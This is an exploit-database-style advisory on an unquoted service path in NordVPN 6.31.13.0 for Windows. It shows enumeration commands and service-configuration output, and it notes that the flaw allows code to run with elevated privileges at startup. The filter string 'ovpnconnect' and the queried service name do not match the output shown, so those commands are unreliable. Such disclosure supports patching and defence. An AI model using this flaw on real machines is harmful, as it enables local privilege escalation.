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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Nord VPN-6.31.13.0 - 'nordvpn-service' Unquoted Service Path
# Discovery Date: 2020-09-03
# Discovery by: chipo
# Vendor Homepage: https://nordvpn.com
# Software Link : https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
# Tested Version: 6.31.13.0
# Tested on OS: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path

# Find the discover Unquoted Service Path Vulnerability: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ovpnconnect" | findstr /i /v """

nordvpn-service                                                                                                                    nordvpn-service                                         C:\Program Files\NordVPN\nordvpn-service.exe     

# Service info:

C:\>sc qc servicio
[SC] QueryServiceConfig SUCCESS

NOMBRE_SERVICIO: nordvpn-service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\NordVPN\nordvpn-service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : nordvpn-service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt to exploit this vulnerability could allow to execute code during startup or reboot with the elevated privileges.